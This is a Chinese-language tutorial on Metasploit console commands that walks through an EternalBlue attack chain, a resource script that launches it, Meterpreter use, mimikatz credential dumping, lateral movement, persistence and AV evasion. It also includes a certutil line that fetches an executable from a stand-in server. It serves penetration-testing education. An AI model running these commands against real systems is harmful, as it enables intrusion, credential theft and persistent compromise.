
1. 项目概述为什么你需要精通Metasploit的命令行如果你在网络安全领域摸爬滚打尤其是做渗透测试或红队评估Metasploit FrameworkMSF绝对是你绕不开的瑞士军刀。很多人第一次接触它会被那个图形化的Metasploit Pro或者社区版界面吸引点点鼠标就能完成一次攻击感觉非常酷炫。但我要告诉你真正的高手几乎都泡在msfconsole那个黑漆漆的命令行界面里。图形界面在演示和快速概念验证时很方便但当你需要自动化、需要精准控制、需要深入调试或者在资源受限的环境比如一个跳板机下工作时命令行才是你的主场。它更快、更稳定、更灵活能让你真正理解渗透测试的每一个环节而不是当一个“按钮工程师”。“Metasploit常用命令详解”这个主题听起来基础但却是区分“会用”和“精通”的关键门槛。知道use exploit/windows/smb/ms17_010_eternalblue和exploit只是入门而清楚如何搜索模块、如何精确设置载荷Payload、如何管理会话Session、如何进行后期渗透Post-Exploitation才是构建你实战能力的基石。本文将带你深入msfconsole的核心不仅告诉你命令是什么更会解释在什么场景下用、为什么这么用以及我踩过哪些坑。无论你是刚拿到Kali Linux的新手还是想巩固基础的老兵这些命令的熟练度直接决定了你的渗透测试效率与深度。2. 核心概念与框架入口在深入命令之前我们必须统一语言。Metasploit Framework是一个模块化的渗透测试平台它的核心思想是“组装”。就像乐高积木不同的模块负责不同的功能我们通过命令行将它们组合起来完成一次完整的攻击链。2.1 核心模块类型解析理解模块类型是正确使用命令的前提Exploit漏洞利用模块这是攻击的“矛头”。它利用目标系统或应用中的特定安全漏洞CVE编号通常与此关联为后续操作打开一个入口。例如exploit/windows/smb/ms17_010_eternalblue就是利用永恒之蓝漏洞的模块。Payload载荷模块这是漏洞利用成功后真正在目标系统上执行的代码。它决定了你能做什么。比如是建立一个反向Shell连接回你的监听器还是生成一个Meterpreter会话功能更强大的交互式Shell。Auxiliary辅助模块这类模块不直接进行漏洞利用但为渗透测试提供至关重要的支持。包括端口扫描、服务枚举、密码爆破、漏洞扫描、Fuzz测试等。例如auxiliary/scanner/portscan/tcp就是一个简单的TCP端口扫描器。Post后期渗透模块在成功获得目标系统的一个会话Session后用于进一步搜集信息、提升权限、进行内网横向移动或持久化驻留的模块。例如post/windows/gather/enum_logged_on_users可以枚举当前登录的用户。Encoder编码器模块用于对Payload进行编码目的是绕过杀毒软件AV的静态特征码检测。它并不加密只是改变代码的表现形式。NOP空指令模块在构造某些特定漏洞的Exploit时用于内存地址对齐或填充增加攻击的稳定性。2.2 启动与基础环境命令一切始于msfconsole。在终端中直接输入这个命令你就会进入Metasploit的交互式命令行环境。msf6 进入后你会看到版本号如msf6和提示符。这里有一些必须在全局模式下掌握的命令help或?你的救命稻草。任何时候忘记命令输入它就能列出所有可用命令或查看特定命令的详细帮助help [command]。banner显示一个炫酷的ASCII艺术横幅和版本信息适合截图。version显示详细的版本信息包括框架版本、Ruby版本等用于环境确认。save极其重要它将你当前的所有设置包括RHOSTS、LHOST等保存到~/.msf4/config文件中。下次启动msfconsole时会自动加载。避免了每次重启都要重新输入一堆IP的麻烦。exit、quit或CtrlD退出msfconsole。注意在msfconsole中命令和参数是大小写敏感的。use exploit/...是正确的USE EXPLOIT/...则会报错。3. 模块的搜索、选择与信息获取面对Metasploit庞大的模块库数千个如何快速找到你需要的那个这是第一个实战技能点。3.1 精准搜索search命令的多种姿势search是你最常用的命令之一。它的功能强大支持多种过滤方式。基础搜索search eternalblue。这会搜索名称、描述中包含“eternalblue”的所有模块。按类型搜索search type:exploit platform:windows。这将列出所有针对Windows平台的漏洞利用模块。类型type:可以是exploit,auxiliary,post,payload,encoder,nop。平台platform:可以是windows,linux,unix,android,php等。按CVE编号搜索search cve:2017-0144。这是定位已知漏洞最直接的方式。按端口或服务搜索search port:445或search name:smb。在信息收集后针对特定服务寻找攻击路径。组合搜索search type:auxiliary name:ftp。查找所有FTP相关的辅助模块如匿名登录检查、暴力破解等。搜索结果的格式通常包括模块排名基于可靠性等、名称、披露时间、描述和路径。找到模块后记下它的完整路径如exploit/windows/smb/ms17_010_eternalblue。3.2 深入洞察info命令的完全解读找到模块后切忌直接使用。一定要用info命令对其进行“体检”。msf6 info exploit/windows/smb/ms17_010_eternalblueinfo命令的输出包含以下关键部分每一部分都至关重要Name, Module模块名称和路径。Disclosure Date漏洞公开日期。Rank模块的可靠性评级。从高到低为excellent,great,good,normal,average,low,manual。excellent意味着高度可靠不会导致服务崩溃。选择高Rank的模块成功率更高。Description详细描述漏洞原理和影响。References相关的CVE、BID、URL等参考链接是后续写报告的重要依据。Available targets该漏洞利用支持的目标系统列表如 Windows 7, Windows Server 2008 R2。你必须从中选择一个set target。Basic options模块运行所必需的参数。这是你配置的重点区域。Payload information兼容的Payload类型、空间限制等。这决定了你能使用哪种Payload。Description更详细的技术说明。3.3 模块的加载与上下文切换使用use命令来加载一个模块进入该模块的上下文环境。msf6 use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) 注意提示符的变化它现在显示你正在exploit/windows/smb/ms17_010_eternalblue的上下文中。在此上下文中你可以使用show options、set等命令来配置该模块。使用back命令可以退出当前模块上下文返回全局模式。4. 模块配置与参数设定艺术加载模块后核心工作就是配置。show options是你配置的蓝图。4.1 读懂选项show options与show advanced输入show options你会看到两列选项Required和Current Setting。Required列为yes的参数是必须设置的否则模块无法运行。通常包括RHOSTS远程目标主机一个IP或CIDR格式的网段如 192.168.1.0/24或文件路径file:/tmp/targets.txt。RPORT远程目标端口。LHOST本地监听IP用于反向连接Payload。LPORT本地监听端口。Current Setting列显示了该参数的当前值。默认值可能是空的或一个预设值。有些模块还有高级选项通过show advanced查看。这些选项通常用于调整攻击的细微行为如超时时间、尝试次数、特定漏洞利用的偏移量等。除非你明确知道在做什么否则不要轻易修改高级选项。4.2 精准赋值set,unset,setg,unsetgset设置当前模块上下文中的参数。set RHOSTS 192.168.1.105unset取消设置当前模块上下文中的参数。unset RHOSTSsetg全局设置。这个命令非常有用。例如你在测试内网的一个网段可以setg RHOSTS 192.168.1.0/24。之后无论你切换到哪个模块只要它需要RHOSTS这个值都会被自动带入无需重复设置。同样你的监听IPLHOST也适合用setg设定。unsetg取消全局设置。实操心得我习惯在进入msfconsole后第一时间用setg LHOST [我的IP]和setg RHOSTS [目标范围]。这能节省大量重复输入的时间。用save命令保存后这些全局设置下次还能用。4.3 Payload的选择与配置Payload是攻击的“果实”。使用show payloads可以列出当前漏洞利用模块兼容的所有Payload。msf6 exploit(windows/smb/ms17_010_eternalblue) show payloads你会看到类似windows/x64/meterpreter/reverse_tcp的列表。选择Payload时考虑连接方向reverse_tcp目标主动连接你适用于目标能出网的情况bind_tcp你在目标上打开端口等待连接适用于目标不出网但你能直接访问的情况。绝大多数情况用reverse_tcp。会话类型meterpreter是功能最强大的交互式Payload内置了大量后期渗透命令。shell则是一个普通的系统命令行cmd或bash。架构与平台必须与目标系统匹配x86, x64, linux, windows等。选择Payloadset payload windows/x64/meterpreter/reverse_tcp。 然后再次show options你会发现多出了LHOST和LPORT等Payload专属选项需要一并设置。5. 执行攻击与会话管理实战配置妥当就到了激动人心的执行阶段。5.1 执行与监听exploit与run对于exploit模块使用exploit或run命令来发起攻击。对于auxiliary模块只能使用run命令。执行后Metasploit会尝试攻击。如果成功对于反向连接Payload你会看到类似下面的提示[*] Sending stage (200774 bytes) to 192.168.1.105 [*] Meterpreter session 1 opened (192.168.1.100:4444 - 192.168.1.105:49158) at 2023-10-27 10:00:00 0800这表示一个Meterpreter会话session 1已经建立。5.2 会话管理核心命令成功建立会话后你就进入了渗透测试的“黄金时间”。会话管理命令让你能高效控制多个目标。sessions或sessions -l列出所有当前活跃的会话。显示会话ID、类型如meterpreter、连接信息、平台等。sessions -i id交互式连接到一个会话。这是你进入目标系统命令行环境的钥匙。例如sessions -i 1。在会话交互界面meterpreter 或 shell中输入background或CtrlZ可以将当前会话放到后台运行返回到msf提示符而不中断该会话。这非常有用可以同时处理多个目标。sessions -k id终止指定会话。sessions -K终止所有会话。sessions -u id尝试升级一个普通的shell会话到更强大的Meterpreter会话。这并非总能成功但值得一试。5.3 Meterpreter基础生存命令一旦通过sessions -i 1进入一个Meterpreter会话你就拥有了一个强大的工具箱sysinfo查看目标系统信息计算机名、OS、架构等。getuid查看当前Meterpreter会话运行在哪个用户权限下。如果是NT AUTHORITY\SYSTEM就太好了如果是普通用户就需要提权。shell重要从Meterpreter切换到目标系统的原生命令行Windows下是cmd.exe。要退出原生shell回到Meterpreter输入exit。pwd/cd查看/切换当前工作目录在目标机器上。ls/dir列出目录内容。upload 本地文件 远程路径上传文件到目标。download 远程文件 本地路径从目标下载文件。getsystem尝试各种技术进行本地提权。不是每次都能成功但通常是第一步。run post/windows/gather/...直接在Meterpreter会话中运行后期渗透模块。注意事项在Meterpreter中文件路径要符合目标系统的格式Windows用反斜杠\Linux用正斜杠/。使用background将会话置于后台后你仍然可以在msfconsole中对该会话使用run post/...模块无需重新交互。6. 后期渗透与信息收集自动化获得会话不是终点而是起点。后期渗透模块能帮你把战果最大化。6.1 常用后期渗透模块速查在msfconsole提示符下或会话后台状态下使用run命令执行post模块。以下是一些经典模块信息收集run post/windows/gather/enum_logged_on_users枚举当前和最近登录的用户。run post/windows/gather/enum_applications枚举安装的应用程序。run post/linux/gather/enum_system收集Linux系统信息。run post/multi/gather/env收集环境变量。权限提升run post/windows/escalate/getsystem另一种提权尝试与meterpreter的getsystem命令类似但实现可能不同。run post/multi/recon/local_exploit_suggester强烈推荐这个模块会自动检测当前会话的系统环境并建议可能成功的本地提权漏洞利用模块。它是自动化提权的神器。凭证获取run post/windows/gather/credentials/mimikatz使用内置的Mimikatz功能尝试抓取内存中的密码哈希和明文密码。需要系统权限。run post/linux/gather/hashdump尝试获取Linux系统的shadow文件哈希。横向移动run post/windows/manage/psexec利用当前凭证通过PsExec方式在网内其他主机执行命令。需要配合其他模块如exploit/windows/smb/psexec和凭证set SMBUser,set SMBPass使用。6.2 使用resource脚本进行自动化对于重复性的任务你可以将一系列msf命令写入一个.rc脚本文件然后使用resource命令批量执行。例如创建一个auto_pentest.rc文件# auto_pentest.rc use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.0/24 set PORTS 1-1000 run use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.105 set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit -j -z # -j 后台任务-z 不立即交互然后在msfconsole中执行resource /path/to/auto_pentest.rc。这对于自动化测试和演示非常高效。7. 高级技巧与故障排查实录掌握了基础命令下面这些技巧和排错经验能让你在实战中更加从容。7.1 数据库集成让工作更有序Metasploit内置支持PostgreSQL数据库。使用数据库可以保存扫描结果、主机信息、凭证、日志使工作流程更专业。启动PostgreSQL服务sudo systemctl start postgresql初始化MSF数据库msfdb init在msfconsole中连接db_status常用数据库命令db_nmap -sV -O 192.168.1.0/24使用nmap扫描并自动将结果导入Metasploit数据库。这是信息收集的神器。hosts查看数据库中所有主机。services查看所有记录的服务。creds查看获取到的凭证。loot查看获取到的战利品如文件、哈希。workspace管理工作区如workspace -a internal_network可以将不同项目的数据隔离。7.2 常见问题与解决方案问题1exploit执行后一直没返回会话也没报错。排查首先检查Payload类型和参数LHOST, LPORT是否正确。其次在攻击端用netstat -antp | grep [LPORT]查看监听端口是否已开启。最后检查目标网络是否能访问到你的LHOST防火墙、路由规则。对于反向连接这是最常见的问题。技巧可以先用一个简单的auxiliary/scanner/portscan/tcp扫描一下目标端口确认漏洞服务是否真的开放。再用exploit/multi/handler单独设置一个监听器然后手动触发Payload测试连通性。问题2Meterpreter会话突然中断。原因可能被目标安全软件如AV、EDR检测并终止网络不稳定进程崩溃。应对使用persistence模块建立持久化后门尝试使用transport命令切换通信信道如从TCP切换到HTTP/HTTPS使用编码器msfvenom生成时或捆绑-x参数方式对Payload进行免杀处理。问题3getsystem提权失败。下一步立即运行run post/multi/recon/local_exploit_suggester。它会分析系统补丁、版本推荐可用的本地提权exp。然后使用推荐的exp如exploit/windows/local/bypassuac_eventvwr将当前会话设置为SESSION参数再次尝试攻击。问题4upload或download文件速度极慢或失败。排查检查目标磁盘空间检查权限是否足够特别是写入系统目录尝试使用-r参数递归上传/下载目录。替代方案在Meterpreter中可以先用shell进入命令行然后使用目标系统自带的工具进行文件传输如Windows的certutil -urlcache -f http://your-server/file.exe C:\Windows\Temp\file.exe或Linux的wget/curl。7.3 模块开发与自定义当你找不到合适的模块时可以自己编写。这需要Ruby知识。但一个快速的方法是复制和修改现有模块。使用cp /usr/share/metasploit-framework/modules/exploit/.../existing_module.rb ./my_module.rb然后仔细研究其结构修改关键部分如漏洞触发点、Payload空间。将自定义模块放在~/.msf4/modules/对应目录下重启msfconsole即可加载。精通Metasploit命令行是一个从记忆命令到理解流程再到形成肌肉记忆的过程。它没有图形界面那么直观但带来的控制力和深度是无可替代的。真正的熟练体现在你能根据一个简单的线索比如一个开放的445端口快速组合起搜索、选择、配置、攻击、提权、信息收集这一整套动作。记住help是你永远的朋友而save能保住你的工作成果。多在实际的靶机环境如Metasploitable、DVWA中练习将每条命令和它的输出结果联系起来思考你会发现自己对渗透测试的理解会深刻得多。最后永远在授权范围内进行测试这是职业的底线。